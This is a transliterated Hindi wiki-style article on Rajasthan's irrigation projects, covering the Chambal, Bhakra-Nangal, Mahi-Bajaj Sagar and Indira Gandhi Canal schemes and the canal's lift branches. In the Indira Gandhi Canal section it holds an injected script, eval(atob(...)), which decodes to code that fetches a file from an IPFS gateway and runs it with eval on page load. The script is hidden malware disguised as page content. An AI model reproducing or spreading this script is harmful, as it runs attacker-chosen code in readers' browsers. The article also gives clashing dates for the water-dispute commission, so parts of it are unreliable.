राजस्थान की सिंचाई परियोजनाएँ

rajasthan ka nam sunate hi pradesh ke vibhinn hisse mean rah rahe logoan ke man mean retanuma ilake ki chhavi ati hogi. yah mana jata hai ki rajasthan ki jyadatar bhoomi kheti yogy nahian hai. kabhi yah sach tha, lekin ab yah mithak toot raha hai. rajy mean bhale pani ki kami ho, lekin yahaan pani bachane ka kam bhi vyapak star par chal raha hai. agar rajasthan ki bhaugolik sthiti par gaur karean to kshetraphal ki drishti se yah sabase b da rajy hai. isaka kshetraphal karib 3,42,239 varg kilomitar hai. is rajy ke shriganganagar, bikaner, jaisalamer aur ba damer zile pakistan ki aantararashtriy sima se lage hue haian aur yah sima karib 1070 kilomitar hai. rajy ka uttar-pashchimi ilaka retila hai, to madhy parvatiy evan dakshin-poorab ka hissa pathari hai. sirf poorvi hissa maidani hai. isake bad bhi ilake ke har hisse mean khet lahalahate hue dikhaee p date haian.

paribhasha

"varsha ke abhav mean bhoomi ko kritrim tarike se jal pilane ki kriya ko sianchaee karana kaha jata hai."

sianchaee adharabhoot sanrachana ka aang hai. yojanabaddh vikas ke 60 varshoan ke bad bhi rajasthan adharabhoot sanrachana ki drishti se bharat ke any rajyoan ke mukabale pichh da hua hai. rajy mean krishi yogy bhoomi ka 2/3 bhag varsha par nirbhar karata hai.

shushk kheti

varsha adharit kshetroan mean bhoomi ki nami ko sanrakshit rakhakar ki jane vali kheti ko 'shushk kheti' kahate haian. bharat mean naharoan ki kul lambaee vishv mean sabase adhik hai. sianchit kshetr bhi sabase adhik hai. parantu hamari avashyakataoan se kam hai. rajasthan ke kul sichit kshetr ka sabase adhik bhag shriganganagar evan sabase kam bhag rajasamand zile mean milata hai. kul krishi kshetr ke sarvadhik bhag par sianchaee shriganganagar zile mean tatha sabase kam chooroo zile mean milata hai. rajasthan krishi pradhan rajy hai. yahaan ke adhikaansh log jivan-star ke lie krishi par nirbhar hai. krishi vikas sianchaee par nirbhar karata hai. rajasthan ke pashchimi bhag mean marusthal hai. manasoon ki anishchitata ke karan 'krishi manasoon ka jua' jaisi bat kee bar charitarth hoti hai.

sianchaee ke sadhan

aprail, 1978 se sianchaee ke sadhanoan ki paribhasha nimn prakar se di jati thi-

1. laghu sianchaee ka sadhan - vah sadhan jisase 2000 haikteyar tak sianchaee suvidha upalabdh hoti hai.
2. madhyam sianchaee ka sadhan - vah sadhan jisamean 2000 haikteyar se adhik, kintu 10000 haikteyar se kam sianchaee suvidha upalabdh hoti hai.
3. vrihat sianchaee ka sadhan - vah sadhan jisase 10,000 haikteyar se adhik sianchaee suvidha upalabdh hoti hai.

rajasthan mean sianchaee ke pramukh sadhan

1. kuean evan nalakoop - ye rajasthan mean sianchaee ke pramukh sadhan haian. kul sianchit bhumi ka lagabhag 66 pratishat bhag kuane evan nalakoop se sianchit hota hai. kuean evan nalakoop se sarvadhik sianchaee jayapur mean ki jati hai. dvitiy sthan alavar ka hai. jaisalamer mean chandan nalakoop mithe pani ke lie ‘thar ka gh da‘ kahalata hai.
2. naharean - rajasthan mean naharoan se kul sianchit kshetr ka lagabhag 33 pratishat bhag sianchit hota hai. naharoan se sarvadhik sianchaee shriganganagar mean hoti hai.
3. talab - talaboan se sianchaee kul sianchit kshetr ke 0.6 pratishat bhag mean hoti hai. talaboan se sarvadhik sianchaee bhilava da mean doosara sthan udayapur ka hai. rajasthan ke dakshini evan dakshini poorvi bhag mean talaboan se sarvadhik sianchaee ki jati hai.
4. any sadhan - any sadhanoan mean nadi naloan ko sianchaee ke lie prayukt kiya jata hai. is sadhan se kul sianchit kshetr ke 0.3 bhag mean sianchaee ki jati hai.

pramukh bahuuddeshy pariyojanaean

pan. javaharalal neharoo ne bahuuddeshy pariyojanoan ko ‘adhunik bharat ke mandir‘ kaha hai. rajasthan ki kuchh nadi ghati pariyojanaoan ka vivaran nimn prakar hai-

chambal nadi ghati pariyojana

chambal pariyojana ka kary 1952-1954 mean prarambh hua. yah rajasthan v madhy pradesh ki sanyukt pariyojana hai. isamean danoan rajyoan ki hissedari 50-50 pratishat hai.

(k) gaandhisagar baandh

yah baandh 1960 mean madhy pradesh ki bhanupura tahasil mean banaya gaya hai. yah baandh chairasigadh mean 8 ki.mi. pahale ek ghati mean bana hua hai. isase 2 naharean nikali gee haian.
baeean nahar - booandi tak jakar meej nadi mean milati hai.
daanyi nahar - parvat nadi ko par karake madhy pradesh mean chali jati hai. yahaan par gaandhi sagar vidhut steshan bhi hai.

(kh) rana pratap sagar baandh

yah baandh gaandhi sagar baandh se 48 ki.mi. age chittau dagadh mean chuliya jal prapat ke samip ravatabhata namak sthan par 1970 mean banaya gaya hai.

(g) javahar sagar baandh

ise kota baandh bhi kahate haian. yah rana pratap sagar baandh se 38 ki.mi. age kota ke boravas gaanv mean bana hua hai. yahaan ek vidhut shakti grah bhi banaya gaya hai.

(gh) kota bairaj

yah kota shahar ke pas bana hua hai. isamean se do naharean nikalati haian-
dayian nahar - parvati v paravan nadi ko par karake madhy pradesh mean chali jati hai.
bayi nahar - kota, booandi, toank, savaee madhopur, karauli man jalapoorti karati hai.

bhakh da naangal pariyojana

bhakh da naangal pariyojana bharat ki sabase b di nadi ghati pariyajana hai. panjab, hariyana, rajasthan, himachal pradesh ki sanyukt pariyojana hai. isamean rajasthan ka hissa 15.2 pratishat hai. himachal pradesh ka hissa keval jal vidhut ke utpadan mean hi hai. sarvapratham panjab ke garvanar luees dain ne sataluj nadi par baandh banane ka vichar prakat kiya. is baandh ka nirman 1946 mean prarambh hua evan 1962 ko ise rashtr ko samarpit kiya gaya. yah bharat ka sabase ooancha baandh hai. bhakh da baandh ke jalashay ka nam 'gobind sagar' hai. yah 518 mitar lamba 9.1 mitar chau da aur 220 mitar ooancha hai. is pariyojana ke antargat nimnalikhit shamil haian-

(k) bhakh da baandh

isaka nirman panjab ke hoshiyarapur zile mean sataluj nadi par bhakh da namak sthap par kiya gaya hai. isaka jalashay govind sagar hai. is baandh ko dekhakar pan. javaharalal neharoo ne ise "chamatkarik virat vastu" ki sanjna di aur bahuuddeshiy nadi ghati pariyojanaoan ko "adhunik bharat ka mandir" kaha.

(kh) naangal baandh

yah baandh bhakh da se 12 ki.mi. pahale ek ghati mean bana hai. isase 64 ki.mi. lambi nahar nikali gee hai, jo any naharoan ko jalapoorti karati hai.

(g) bhakh da mukhy nahar

yah panjab ke rop d se nikalati hai. yah hariyana ke hisar ke lohana kasbe tak vistarit hai. isaki kul lambaee 175 ki.mi. hai.

isake alava is pariyojana mean sarahind nahar, sirasa nahar, naravana nahar, bist do ab nahar nikali gee haian. is pariyojana se rajasthan ke shriganganagar v hanumanagadh, churoo ziloan ko jal v vidhut evan shriganganagar, hanumanagadh, churoo, jhuanjhunoo, sikar, bikaner ko vidhut ki apoorti hoti hai.

vyas pariyojana

yah panjab, rajasthan, hariyana mean hai. is pariyojana ke pratham charan mean ek baandh, vyas liank ka nirman aur ek vidhut grah ka nirman kiya gaya hai. dvitiy charan mean vyas nadi par pauang baandh banaya gaya. isase iandira gaandhi nahar pariyojana mean niyamit jalapoorti rakhane mean madad milati hai.

ravi-vyas jal vivad

jal ke bantavare ke lie 1953 mean rajasthan, panjab, hariyana, jammoo-kashmir, dilli, himachal pradesh rajyoan ke bich ek samajhauta hua. isamean sabhi rajyoan ke lie alag-alag pani ki matra nirdharit ki gee, lekin isake bad bhi yah vivad thama nahian. tab san 1985 mean 'rajiv gaandhi lauangavala samajhaute' ke antargat nyayamoorti iradi ki adhyakshata mean 'iradi ayog' banaya gaya tha. is ayog ne rajasthan ke lie 86 lakh ek d ghan phit jal ki matra tay ki hai.

mahi-bajaj sagar pariyojana

yah rajasthan evan gujarat ki sanyukt pariyojana hai. 1966 mean hue samajhaute ke anusar rajasthan ka hissa 45 pratishat v gujarat ka hissa 55 pratishat hai. is pariyojana mean gujarat ke panchamahal zile mean mahi nadi par k dana baandh ka nirman kiya gaya hai. isi pariyojana ke aantargat baansava da ke borakhe da gaanv mean mahi bajaj sagar baandh bana hua hai. isake alava yahaan do naharean, do vidhut grah, do laghu vidhut grah v ek kagadi pik ap baandh bana hua hai. 1983 mean iandira gaandhi ne jal pravahit kiya. is pariyojana se duangarapur v baansava da ziloan ki kuchh tahasiloan ko jalapoorti hoti hai.

vrihat pariyojanaean

rajasthan ki vrihat pariyojanaean nimnalikhit haian-

iandira gaandhi nahar pariyojana

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

iandira gaandhi nahar pariyojana ko "rajasthan ki jivan rekha/marooganga" bhi kaha jata hai. pahale isaka nam rajasthan nahar tha. 2 navambar 1984 ko isaka nam indira gaandhi nahar pariyojana kar diya gaya hai. bikaner ke ianjiniyar kanvar sain ne 1948 mean bharat sarakar ke samaksh ek prativedan pesh kiya, jisaka vishay 'bikaner rajy mean pani ki avashyakata' tha. iandira gaandhi nahar pariyojana ka mukhyalay jayapur mean hai. is nahar ke nirman ka mukhy udddeshy ravi, vyas nadiyoan ke jal se rajasthan ko avantit 86 lakh ek d ghan phit jal ko upayog mean lena hai. nahar nirman ke lie sabase pahale phirojapur mean sataluj, vyas nadiyoan ke sangam par 1952 mean harikai bairaj ka nirman kiya gaya. harikai bairaj se ba damer ke gadara rod tak nahar banane ka lakshy rakha gaya, jisase shriganganagar, bikaner, jaisalamer v ba damer ko jalapoorti ho sake.

rajasthan phidar ka nirman kary san 1975 mean poora hua. nahar nirman ke dvitiy charan mean 256 ki.mi. lambi mukhy nahar aur 5112 ki.mi. lambi vitarak pranali ka lakshy rakha gaya. nahar ka dvitiy charan bikaner ke poogal kshetr ke satasar gaanv se prarambh hua tha. jaisalamer ke mohanagadh kasbe mean dvitiy charan poora hua. isalie mohanagadh kasbe ko iandira gaandhi nahar pariyojana ka 'jiro p aauiant' kahate haian. mohanagadh kasbe se isake sire se lilava v digha do upashakhaaian nikali gayi haian. dvitiy charan ka kary 1972-1973 mean pura hua. 256 ki.mi. lambi mukhy nahar disambar 1986 mean banakar taiyar huee thi. 1 janavari 1987 ko vishvanath pratap sianh ne isamean jal pravahit kiya. iandira gaandhi nahar ki kul sianchaee 30 pratishat bhag lipht naharoan se tatha 70 pratishat shakhaoan ke madhyam se hota hai. ravi-vyas jal vivad hetu gathit ira di ayog (1966) ke phaisale se rajasthan ko prapt kul 8.6 em. e. eph. jal mean se 7.59 em. e. eph. jal ka upayog iandira gaandhi nahar pariyojana ke madhyam se kiya jayega. iandira gaandhi nahar pariyojana ke dvara rajy ke ath ziloan- hanumanagadh, shriganganagar, chooroo, bikaner, jodhapur, nagaur, jaisalamer evan ba damer mean sianchaee ho rahi hai. inamean se sarvadhik kamand kshetr kramashah jaisalamer evan bikaner ziloan ka hai.

shakhaean

iandira gaandhi nahar pariyojana se sat shakhaean nikali gayi haian, jo nimn haian-

kr.san.	lipht nahar ka purana	lipht nahar ka naya nam	labhanvit zile
1.	gandheli (nohar) sahava lipht	chaudhariri kumbharam lipht nahar	hanumanagadh, churoo, jhuanjhunoo
2.	bikaner-lunakaranasar lipht	kanvarasen lipht nahar	shriganganagar, bikaner
3.	gajaner lipht nahar	pannalal baroopal lipht nahar	bikaner, nagaur
4.	baang dasar lipht nahar	bhairoodam chalani vir tejaji lipht nahar	bikaner
5.	kolayat lipht nahar	d aau. karani sianh lipht nahar	bikaner, jodhapur
6.	phalaudi lipht nahar	guru jambheshvar jalo utthan yojana	jodhapur, bikaner, jaisalamer
7.	pokaran lipht nahar	jayanarayan vyas lipht	jaisalamer, jodhapur
8.	jodhapur lipht nahar (170 ki.mi. + 30 ki.mi. tak paeep laeen)	rajiv gaandhi lipht nahar	jodhapur

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh